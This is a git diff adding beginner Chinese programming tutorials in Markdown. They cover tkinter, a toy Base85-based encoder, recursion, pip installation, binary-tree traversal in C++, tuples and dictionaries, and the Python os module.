+#创建窗口方法 +def window(): + #tkinter 设置窗口属性 + window = Tk() + window.resizable(0,0) + window.title('选择插件并上传') + #导入图片 + img = ImageTk.PhotoImage(file = 'image.jpg') + #显示图片和按钮 + Label(window,image = img).pack() + Button(window,text = '选择插件',font = ('楷体',25),foreground = 'black',bd = 0,command = selectPlugin).place(x = 115,y = 80) + window.mainloop() + +#在被运行的情况下运行主窗口 +if __name__ == '__main__': + window() + +``` + +实现效果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200729175637427.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200729175710991.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200729175841471.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200729175938431.png) +如果要是再次上传的话: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200729180036276.png) +如果不选择文件的话: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200729180245131.png) +如果上传不正常拓展名的话: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200730162345444.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + + +大功告成! diff --git "a/\344\275\277\347\224\250\345\255\227\345\205\270\345\260\206\345\255\227\347\254\246\347\274\226\347\240\201.md" "b/\344\275\277\347\224\250\345\255\227\345\205\270\345\260\206\345\255\227\347\254\246\347\274\226\347\240\201.md" new file mode 100644 index 0000000..0d9a167 --- /dev/null +++ "b/\344\275\277\347\224\250\345\255\227\345\205\270\345\260\206\345\255\227\347\254\246\347\274\226\347\240\201.md" @@ -0,0 +1,50 @@ +将下面的代码复制到一个文档,然后命名为`daoxi.py`: +```python +from base64 import a85encode,a85decode + +marks = {} +string = '0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz`~@#$%^&*()_+{}|\/{}[]<>?:;"\'=+-.,!' + +for i in range(0,len(string)): + if i <= 9: + marks['000' + str(i)] = string[i] + else: + marks['00' + str(i)] = string[i] + +class __Daoxi(): + def __init__(self): + self.content = 'Daoxi Encode' + self.interval_mark = '-' + self.ec = 'UTF-8' + self.marks = marks + def encode(self): + try: + text = a85encode(self.content.encode(self.ec)).decode(self.ec) + letters = [] + for i in text: + letters.append(list(marks.keys())[list(marks.values()).index(i)]) + return ['OKAY',self.interval_mark.join(letters)] + except Exception as e: + return ['ERROR',e] + def decode(self): + try: + text = self.content.split(self.interval_mark) + letters = [] + + for i in text: + letters.append(marks[i]) + result = ''.join(letters) + return ['OKAY',a85decode(result.encode(self.ec)).decode(self.ec)] + except Exception as e: + return ['ERROR',e] + +daoxi = __Daoxi() + +``` +实现效果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210129105349124.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +> `I love Python.`的编码结果是`0008-0030-0073-0025-0021-0022-0067-0016-0017-0035-0024-0066-0096-0073-0084-0016-0014-0049`。我们来试一试解密。 + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210129105459519.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + diff --git "a/\344\275\277\347\224\250\351\200\222\345\275\222\345\210\266\344\275\234\345\276\252\347\216\257.md" "b/\344\275\277\347\224\250\351\200\222\345\275\222\345\210\266\344\275\234\345\276\252\347\216\257.md" new file mode 100644 index 0000000..b3a71ab --- /dev/null +++ "b/\344\275\277\347\224\250\351\200\222\345\275\222\345\210\266\344\275\234\345\276\252\347\216\257.md" @@ -0,0 +1,22 @@ +范围内循环: +```python +def func(x): + if x: + print(x) + func(x-1) + else: + print('递归结束') + exit() + +print(func(100)) +``` +死循环(尽管有深度限制): + +```python +def func(x): + print(func(x-1)) + +func(100) +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/432706e4df104d129948e0da5b2c7dcd.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + diff --git "a/\345\205\253\343\200\201\346\250\241\345\235\227.md" "b/\345\205\253\343\200\201\346\250\241\345\235\227.md" new file mode 100644 index 0000000..91c252c --- /dev/null +++ "b/\345\205\253\343\200\201\346\250\241\345\235\227.md" @@ -0,0 +1,45 @@ +我们需要各种模块。当我们把一个文件当做模块导入时,它的`__name__`变量就会变成这个文件的名字。 + +
+ +## 使用模块 + +当我们需要完成一个功能时,我们如果不想使用过多的代码,可以使用模块,`Python是支持开发者制作模块的,所以大家可以自由地开发项目`。如何快速安装只有一个文件的,请看我的文章:[《如何快速安装模块》](https://blog.csdn.net/PanDaoxi2020/article/details/111329714)。 +我们后期上课,需要很多模块,我们务必学会安装。请打开命令提示符,是这个页面: + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210119150509601.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +我们在新课中,需要用的第三方模块有: + +```python +pygame +requests +easygui +cv2 +``` +我们此处用`pygame`举例安装,输入代码: + +```python +pip install -i https://pypi.tuna.tsinghua.edu.cn/simple 包的名字 +``` +单击回车键,等待一会后发现如下页面: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210119151443415.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +可以验证是否安装成功: + +```python +pip show 包的名字 +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210119151610477.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +这样就安装成功了。其他几个同理。 + +
+ +## 使用模块 +第三方模块的使用在于熟练,官网上数以万计的模块都可以下载安装,它们可以方便我们的使用,使用帮助可以看一下模块的帮助文档。 + +
+ +```python +练习题 +把我们后期课程需要用的模块都使用pip安装。 +``` + diff --git "a/\345\205\253\343\200\201\347\256\200\345\215\225\346\240\221\345\275\242\347\273\223\346\236\204.md" "b/\345\205\253\343\200\201\347\256\200\345\215\225\346\240\221\345\275\242\347\273\223\346\236\204.md" new file mode 100644 index 0000000..5df41ad --- /dev/null +++ "b/\345\205\253\343\200\201\347\256\200\345\215\225\346\240\221\345\275\242\347\273\223\346\236\204.md" @@ -0,0 +1,289 @@ + +> 分享笑话一则:洛谷神图 +> ![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/cd4dc3af8b760505eac6284865000ff0.png) + + +> 树是啥?不就是树吗? +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/28c32bbfe5ed40898ef29df0b64ff7f4.png) +> 实际上,我们今天所说的树,是一种数据结构。 +> 它叫做**树形结构**,实际上长这样: +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8d6f691f362c4e64bb4e08302b1adfef.png) + +# 树 +今天的概念比较多,也很繁杂,大家看看就行,没必要完全记住,只要知道大概的意思即可。 + +对于树,大家见得比较多的是思维导图。其实这是一种树。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/edbf0ef0d277483aa9bf46db41aef43c.png) +还有目录树。比如下面这个(这是我自己开发的一款小软件): + +```cpp +D:. +│ db.sqlite3 +│ main.py +│ manage.py +│ README.md +│ TTS_config +│ +├─About +│ │ 依赖包安装工具.bat +│ │ +│ └─Update +│ EMERGENCY.md +│ README.md +│ +├─Client +│ Client.py +│ VERSION +│ +└─VeryControl + │ asgi.py + │ settings.py + │ urls.py + │ VERSION + │ wsgi.py + │ __init__.py + │ + └─__pycache__ + settings.cpython-36.pyc + urls.cpython-36.pyc + wsgi.cpython-36.pyc + __init__.cpython-36.pyc +``` + +我们将其抽象化,就形成了树形结构。 + +## 树的概念 + +### 结点 +我们将以这棵树为例来讲解下面的几个概念。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9334c99c7818446881eccc8a882e8dd1.png) +注意别写错字,是“结点”而非“节点”。 +**像上图中那样,$A,\ B,\ C$ 等都称作结点。** +其中,一棵树最开始的分支,比如上图中的结点 $A$,叫做**根结点**。 + +注意嗷,有些结点下面的分支还指向其他的结点(例如结点 $B$),那么我们称分支下来的结点为**孩子**(如结点 $E,\ F,\ G$); + +如果站在结点 $E$ 的角度看结点 $B$,则称结点 $B$ 为结点 $E$ 的**双亲**,结点 $A,\ B$ 是结点 $E$ 的**祖先**;反之,如果我站在根节点看**下面的所有结点**,那么称这些结点为**子孙**结点。 + +同一结点的孩子结点,我们称这些结点为**兄弟**;不同结点但是层数相同的孩子结点,我们称这些结点为**堂兄弟**。 + +我们知道,每一个结点都**可能**有孩子结点。如果有一个结点没有孩子结点,那么我们称这个结点为**叶子结点**。 + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ad632381ff124b14ab1dd93817f3e46b.png#pic_center) + +### 度、层数、高度、子树 +对于任意一个结点,**度**指这个结点有几个孩子结点。 +例如下面这棵树,结点 $E$ 的度为 $2$;结点 $A$ 的度为 $3$。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/77d3a75dc4a64dd6aad8d533d79c9814.png) +那么,对于一棵树的度,指**各个子结点的度的最大值**。例如上面的那棵树的度就为 $3$,因为 $A$ 结点有 $3$ 个孩子结点。 + +层数很好理解,比如说 $E$ 在第一层,$A,\ F$ 在第二层, $B,\ C,\ D,\ K,\ L$ 在第三层…… + +高度指某棵树的最大延伸长度。这棵树的高度为 $3$,因为它延伸了 $3$ 层。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/f9a7d793c5f1401ba1a9604f2e13db1d.png) + + + + +子树是什么?子树其实就是某棵树的一部分。例如: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/71b35773439643f390bca3e4372246db.png) +其中画黑框的就是整棵树的一个子树。 + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9279a05afadd499e8056b947dd742ec9.png#pic_center) + +### 独根树、满树、完全树 +独根树应该不难理解吧:这棵树只有一个结点,即根结点。 + +**满树,即一棵树的所有结点(除了最后一层的叶子结点)的度均相等。** +例如,这就是一棵满树,它的度数为 $2$: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c1de5df397664a57afb7394d86dade63.png) +完全树:完全树是指从根节点开始,由上至下,从左到右,一个个地给结点标号。直到标到最后的的叶子结点。**如果某一编号的结点与满树的位置相同**,则这是一棵完全树。 +如下图,这是一棵完全树。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a799f64fe2704b61bbfa9ff1a77fda70.png) +有没有感觉太恐怖了?! +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/f2ca1c978cb54313a5117c5b602b25bc.png#pic_center) +至于最优二叉树(哈夫曼树)、红黑树、二叉平衡树、对称二叉树等,我们以后再讲。 +## 二叉树 +恭喜你,你已经完成一半的任务了。 +我们来看看二叉树。 + +先说二叉树是什么:**二叉树是度为 $2$ 的树**。 +二叉树是比较特殊的一种树。它大概长这样: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9e08a284972e46da8d72fe7fb9243cce.png) +其中,一个度为 $2$ 的结点,它的两个孩子结点分别叫做**左孩子**、**右孩子**。 + +### 遍历 +学二叉树,我们跑不了二叉树遍历。 +二叉树遍历主要分 $3$ 种,分别是: +- 先序遍历 +- 中序遍历 +- 后序遍历 + +这三种遍历,我们来看看如何实现吧! + +#### 先序遍历 +**先序遍历的口诀是“根左右”**,意为先遍历根节点,然后是以左孩子为根节点遍历子树,直到叶子结点再回溯遍历右孩子结点的子树。 + +我们看到了“回溯”,应该能想起来点什么吧? +——递归。 + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/142fb1888b1d4cabad1516445a06cb4f.png) + +```cpp +// Author:PanDaoxi +#include +using namespace std; +map tree; // 映射字典,我们可以通过一个字符来获取它的左右孩子 +int n; +void f(char root){ + if(root == '*') return; // 跳出递归 + cout << root; // 输出根节点 + f(tree[root][0]); // 遍历以左孩子为根节点的子树 + f(tree[root][1]); // 遍历以右孩子为根节点的子树 +} +int main(){ + char root; + cin >> n; + for(int i=1; i<=n; i++){ + char a, b, c; + cin >> a >> b >> c; + if(i == 1) root = a; // 记录整棵树的根节点 + tree[a] = string(1, b) + string(1, c); // 字符串拼接 + } + f(root); // 从整棵树的根节点开始递归遍历 + return 0; +} + +``` +#### 中序遍历 +同样的道理,但是中序遍历的口诀是“左根右”。即先访问左孩子,再访问根结点,最后是右孩子。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +map tree; // 映射字典,我们可以通过一个字符来获取它的左右孩子 +int n; +void f(char root){ + if(root == '*') return; // 跳出递归 + f(tree[root][0]); // 遍历以左孩子为根节点的子树 + cout << root; // 输出根节点 + f(tree[root][1]); // 遍历以右孩子为根节点的子树 +} +int main(){ + char root; + cin >> n; + for(int i=1; i<=n; i++){ + char a, b, c; + cin >> a >> b >> c; + if(i == 1) root = a; // 记录整棵树的根节点 + tree[a] = string(1, b) + string(1, c); // 字符串拼接 + } + f(root); // 从整棵树的根节点开始递归遍历 + return 0; +} +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e8c94e4ffb8046ac940b48a427930591.png) +以这棵树为例,我们从最左边开始,遍历顺序为: + +```cpp +A -> B -> D -> B -> E -> A -> C + - - - - - +``` +所以遍历结果为 $DBECA$。 + +#### 后序遍历 +后序遍历的口诀为“左右根”,即最后输出根节点。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +map tree; // 映射字典,我们可以通过一个字符来获取它的左右孩子 +int n; +void f(char root){ + if(root == '*') return; // 跳出递归 + f(tree[root][0]); // 遍历以左孩子为根节点的子树 + f(tree[root][1]); // 遍历以右孩子为根节点的子树 + cout << root; // 输出根节点 +} +int main(){ + char root; + cin >> n; + for(int i=1; i<=n; i++){ + char a, b, c; + cin >> a >> b >> c; + if(i == 1) root = a; // 记录整棵树的根节点 + tree[a] = string(1, b) + string(1, c); // 字符串拼接 + } + f(root); // 从整棵树的根节点开始递归遍历 + return 0; +} +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e8c94e4ffb8046ac940b48a427930591.png) +同样是这棵树,那么遍历顺序应该是: + +```cpp +A -> B -> D -> E -> B -> C -> A + - - - - - +``` + +所以遍历结果为 $DEBCA$。 + +### 拓展 +放几道稍难点的题,给大家看。 +#### 给出中序、后序遍历求先序遍历 + +首先,单单给出中序或后序是求不出来二叉树的,因为有不同的形态。但是先序和中序同时出现而且合法,就能求出唯一二叉树。 + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/024fa0e3a3f74355bcf0bcc7fe04ba47.png) +这个题目的切入点是什么? +——后序遍历。后序遍历的最后一位,永远是二叉树的根节点。 + +找到根节点以后干嘛呢?中序遍历里面,根节点前面的全都是第二层左孩子的子树,后面全都是第二层右孩子的子树。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +void f(string s1, string s2){ + if(!s1.size()) return; + char c = s2[s2.size()-1]; + cout << c; + int t = s1.find(c); // 找到中序遍历里面根的下标 + f(s1.substr(0, t), s2.substr(0, t)); // 遍历左子树 + f(s1.substr(t+1), s2.substr(t, s2.size()-t-1)); +} +int main(){ + string a, b; + cin >> a >> b; + f(a, b); + return 0; +} +``` + +#### 给出先序、中序遍历,求后序遍历 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/927e0687bc8c4aaa8a92a3202d31f333.png) +切入点就是,先序遍历的第一个字符即为二叉树的根结点。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +void f(string s1, string s2){ + if(!s2.size()) return; + char c = s2[0]; + int t = s1.find(c); + f(s1.substr(0, t), s2.substr(1, t)); + f(s1.substr(t+1), s2.substr(t+1)); + cout << c; +} +int main(){ + string a, b; + cin >> a >> b; + f(a, b); + return 0; +} +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ef904f91dba045e2b4946a3998b08b8b.png#pic_center) + diff --git "a/\345\205\255\343\200\201\345\205\203\347\273\204\344\270\216\345\255\227\345\205\270.md" "b/\345\205\255\343\200\201\345\205\203\347\273\204\344\270\216\345\255\227\345\205\270.md" new file mode 100644 index 0000000..bd55840 --- /dev/null +++ "b/\345\205\255\343\200\201\345\205\203\347\273\204\344\270\216\345\255\227\345\205\270.md" @@ -0,0 +1,86 @@ +> 我们今天来认识两种新的数据类型——`元组`和`字典`。 + +
+ +**字符串拼接符** +两个字符串之间,要把它们合二为一。我们可以这样写: + +```python +print('123'+'456') +#输出:123456 +``` +直接使用`+`将两个字符串加到一起就可以了。 + +
+ +**认识`元组`** +元组与列表近似,是由小括号`( )`组成的,将数据括在中间,能储存无数个数据,获取方法也与列表相同,甚至连循环都可以。只是有一个不同——不能减少数据,只能增加。 +如果我们想要知道某一个变量的数据类型,需要用到`type()`判断类型。 + +```python +print(type((1,2,3,4,5))) +``` + +> `` +> +> 字符串`str`,整数类型`int`,列表`list`,元组`tuple`,字典`dict`。 +> 如果使用字符串拼接符时,需要两边都是字符串,这时候就需要用到强转`str()`方法。把需要强制转换的内容放到`str()`括号中,数据类型就改变为字符串类型。 + +如何添加元素? + +```python +numbers = (1,2,3,4,5) #一个元组,可以添加各种类型的数据 +want = (6,) #要添加的内容 (注意!如果只需要添加1个数据,要在末尾加上英文逗号!) +numbers += want #添加到元组 +print(numbers) #输出 +``` + +> `(1, 2, 3, 4, 5, 6)` + +注意,如果只放一个数据,要加上英文逗号;如果要是多个,可以不加,但是中间要加。 + +
+ +**字典** +话说字典的格式与众不同,请看——`{ key : value,key : value} ...`。 +外面是一对大括号:`{ }`。 +字典中可以有无限多个键名、值名。一个键名对应一个值名,不能多页不能少,中间由英文逗号间隔。 +来看个小例子: + +```python +#也能添加各种类型的数据,也可以再添加列表 +#可以来个空行,但是值名末尾必须有逗号 +#嘿嘿,来个百家姓 +school = { + '五年级(1)班' : ['小赵','小钱','小孙','小李'], + '五年级(2)班' : ['小周','小吴','小郑','小王'], + '五年级(3)班' : ['小冯','小陈','小褚','小卫'], + '五年级(4)班' : ['小蒋','小沈','小韩'] + } +#获取格式:字典名[键名] +#“小杨”加入了五年级(4)班,添加一下 +school['五年级(4)班'].append('小杨') +print(school) +#想要获取“小赵” +zhao = school['五年级(1)班'][0] +print(zhao) +``` + +
+ +**说说其他的** +如果你看到`xxx()`或者`xxx.xxx()`这样的格式,叫做`调用函数`。`函数`又叫`方法`,所以这个操作又叫`调用方法`,我们会在下节课讲到。 + +
+ +```python +练习题: +请使用字典和for循环,做一个输出所有学生姓名的程序,字典如下: +school = { + '五年级(1)班' : ('小赵','小钱','小孙','小李'), + '五年级(2)班' : ('小周','小吴','小郑','小王'), + '五年级(3)班' : ('小冯','小陈','小褚','小卫'), + '五年级(4)班' : ('小蒋','小沈','小韩','小杨') + } +``` + diff --git "a/\345\205\255\343\200\201\347\256\200\346\230\223\351\200\222\345\275\222.md" "b/\345\205\255\343\200\201\347\256\200\346\230\223\351\200\222\345\275\222.md" new file mode 100644 index 0000000..cbd52b2 --- /dev/null +++ "b/\345\205\255\343\200\201\347\256\200\346\230\223\351\200\222\345\275\222.md" @@ -0,0 +1,245 @@ + +> 分享笑话一则:凌乱之美。 +> ![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/eed1e33862f1e997158f69b023a38bb8.png) + + + +从今天开始,我们就要初涉算法,请大家做好心理准备嗷! + +# 函数 +先说说什么是函数。 +大家眼里的函数,可能是这个样的: +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/df53430a533c1179775d8dca3df0237b.png) + +~~哈,多么美妙的图案!~~ + +实际上,在计算机里,函数是这个样的: +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/2b6dde95e9380403a5deb6c291e223c4.png) + +当然,如果复杂一点点,是这样的: +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/06980228260c56c0564b2f59ccf57f04.png) + +我们以前写的 $main$ 函数,也是一个函数(废话,那必须的啊),你可以按照 $main$ 的写法,写出一个函数: + +```cpp +类型名 函数名(类型1 参数1, 类型2 参数2, ……){ // 也可以不要参数 + 你在函数内要做的事儿 + return 返回的类型; // 必须与函数开头那个一样 +} +``` + +如果不需要返回值,你可以声明 $void$ 类型的函数。 +```cpp +// Author:PanDaoxi +#include +using namespace std; +int c, p, q; +void hahaha(int a, int b){ + c = a+b; + return; // 退出函数 + c = 0; // 不会执行 +} +int main(){ + cin >> p >> q; + hahaha(p, q); + cout << c; + return 0; +} + +``` + +但你如何退出整个程序呢?$exit(0)$ 。 +```cpp +// Author:PanDaoxi +#include +using namespace std; +int c, p, q; +void hahaha(int a, int b){ + c = a+b; + exit(0); +} +int main(){ + cin >> p >> q; + hahaha(p, q); + cout << c; + return 0; +} +``` +所以程序不会输出。 + +# 递归 + +递归这个名词大家估计都耳熟能详吧,~~那咱们跳过吧~~ 但是我们还是要好好学习递归的,因为递归对于我们后面学习深搜、二叉树是非常重要的。 + +如果你还没听说过递归,那么我告诉你,你可以把递归理解成一种**特殊的循环**。还记得小时候听过的“老和尚讲故事”吗?讲来讲去,你就陷入了循环,自己讲起了我自己。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +void story(){ + cout << "从前有座山,山上有座庙。庙里有个老和尚给小和尚讲故事,讲的是什么呢?" << endl; + story(); // 我自己执行我自己 +} +int main(){ + story(); + return 0; +} +``` +然后你会发现,控制台上输出了非常多的故事,直到你把它关掉,这就类似于**死循环**,我们称这种递归叫做**无穷递归**。 +前段时间我们说 $while$ 循环的时候,那个括号里的表达式就是**循环条件**。如果不满足循环条件, $while$ 循环就会结束,然后继续运行后面的指令。所以我们想让递归结束,**必须要设置边界条件**,这样就能实现**有穷递归**。 +比如说,我们刚才讲故事的例子,如果我们想让程序输出 $10$ 遍,那么该怎么写? +```cpp +// Author:PanDaoxi +#include +using namespace std; +void story(int k){ // k 表示故事讲了k遍 + if(k > 10){ // 讲了10遍以上 + printf("故事讲完啦"); + return; // 退出递归 + } + printf("第%d遍:从前有座山,山上有座庙。庙里有个老和尚给小和尚讲故事,讲的是什么呢?\n", k); + story(k+1); // 讲了一遍故事 +} +int main(){ + story(1); // 从第一遍开始讲故事 + return 0; +} +``` +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/68c3e653edcee220180941b8ace977c2.png) + +当然你也可以自由地控制递归次数,要多上机尝试、练习。 +我们来做个题儿应用一下吧: +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/f0a4fe27f3ca5d7c54e97d4c15b54c1a.png) +> 这个题其实用循环也能过,官方给的标签也是循环结构,但是我喜欢用递归解。 +> 程序也并不难,如下: +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/8acb45a55925af04098b584b4aed83d1.png) + + + +## 回溯 + +可能有的小伙伴一听“回溯”,就吓得不轻:难道你要给我讲深搜? +其实递归的回溯并不难好叭,大家模拟一下就可以咯。 + +请你阅读以下这个程序,告诉我,结果会输出多少? +```cpp +// Author:PanDaoxi +#include +using namespace std; +void f(int k){ + if(k > 5) return; + printf("%d ", k); + f(k+1); + printf("%d ", k); +} +int main(){ + f(1); + return 0; +} +``` +答案是: +``` +1 2 3 4 5 5 4 3 2 1 +``` + +为什么会这样?我们来模拟一下。 +> 最开始,主函数调用给进函数的参数 $k=1$。进来以后走流程: +> 1. 判断:$k$ 如果大于 $5$ 就退出。 +> 2. 输出当前 $k$ 的值; +> 3. 递归 $k$ 增加 $1$。 +> 4. 递归到边界时,输出 $k$ 的值。 +> +> 可见如果递归到 $k=5$ 时程序先输出,后面程序尝试递归 $k=6$ 发现:诶,$k>5$ 了,该退出递归了! +> 退出了递归 $k=6$,程序继续执行当前层数($k=5$)的后面的命令,输出了 $5$,然后 $k=5$ 的递归结束,继续进行 $k=4$ 的递归…… +> 长此以往, 运行到 $k=1$ 时(又回到了主程序给定的 $k$ 的值时),递归结束。 + +利用这个特点,我给你出一道题吧。 + +【角谷猜想的过程】 +现在,给你一个数,要求你把角谷猜想(就是上面那个)的过程展现出来。 +例如: +- 输入 $1$,应该输出:`1`。 +- 输入 $5$,应该输出:`((1)*2)*2+1`。 +- 输入 $123$,应该输出:`((((((1)*2+1)*2+1)*2+1)*2)*2+1)*2+1`。 +- 输入$114514$,应该输出:`((((((((((((((((1)*2+1)*2)*2+1)*2+1)*2+1)*2+1)*2+1)*2+1)*2)*2+1)*2)*2+1)*2)*2)*2+1)*2`。 +- 输入 $1919180$,应该输出:`((((((((((((((((((((1)*2+1)*2+1)*2)*2+1)*2)*2+1)*2)*2)*2+1)*2)*2)*2)*2+1)*2+1)*2)*2)*2+1)*2+1)*2)*2`。 + +不信你可以把它还原回去,还是原来那个数。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/428d2ecb01dc4ab640e218ff1cab6bb9.png) + +这个程序,我们可以这么写: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +void f(int k){ + if(k == 1){ + cout << 1; + return; + } + cout << "("; + bool flag = k&1; + f(flag ? ((k-1)/2) : (k/2)); + cout << ")*2"; + if(flag) cout << "+1"; +} +int main(){ + int n; + cin >> n; + f(n); + return 0; +} +``` +做俩简单的题儿: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/ea9649a7df2263afe24e792c9678ab26.png) + +```cpp +// Author:PanDaoxi +#include +using namespace std; +double f(double x, int n){ + if(n == 1) return sqrt(1.0 + x); + return sqrt(n + f(x, --n)); +} +int main(){ + double x; + int n; + cin >> x >> n; + cout << fixed << setprecision(2) << f(x, n); + return 0; +} +``` + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/a793ab10e53f1d0b9678a49cd045a823.png) + +```cpp +// Author:PanDaoxi +#include +using namespace std; +double f(double x, int n){ + if(n == 1) return x / (1.0+x); + return x / (n + f(x, --n)); +} +int main(){ + double x; + int n; + cin >> x >> n; + cout << fixed << setprecision(2) << f(x, n); + return 0; +} +``` + +好啦好啦,后面我们就要趁热打铁学深搜了! +我目前的规划是: +- 递归 +- 深搜 +- 排序 +- 贪心 +- 递推 +- 栈和队列 +- 二分 +- 广搜 +- 动态规划 +- ………… diff --git "a/\345\205\263\344\272\216Python\347\232\204os\346\250\241\345\235\227.md" "b/\345\205\263\344\272\216Python\347\232\204os\346\250\241\345\235\227.md" new file mode 100644 index 0000000..3f8fd3a --- /dev/null +++ "b/\345\205\263\344\272\216Python\347\232\204os\346\250\241\345\235\227.md" @@ -0,0 +1,86 @@ +> “os模块是Python内置的模块之一,功能非常强大”。 +> 我们今天来一起研究一下os模块。 +> 我们需要在Windows系统上的Python3。 + +**1.获取当前文件位置、目录** + +```python +from os.path import dirname +print('文件位置:',__file__) +print('文件所在目录:',dirname(__file__)) +``` + +**2.获取当前路径以及切换路径** + +```python +from os import getcwd,chidir +print('当前路径:',getcwd()) + +#切换 +chidir('C:\\') +print('当前路径:',getcwd()) +``` + +**3.重命名、删除文件** + +```python +from os import rename,remove + +#新建2个文件 +for i in range(1,3): + with open(str(i) + '.txt','w+') as f: + f.write('') + +#删除 1.txt +remove('1.txt') + 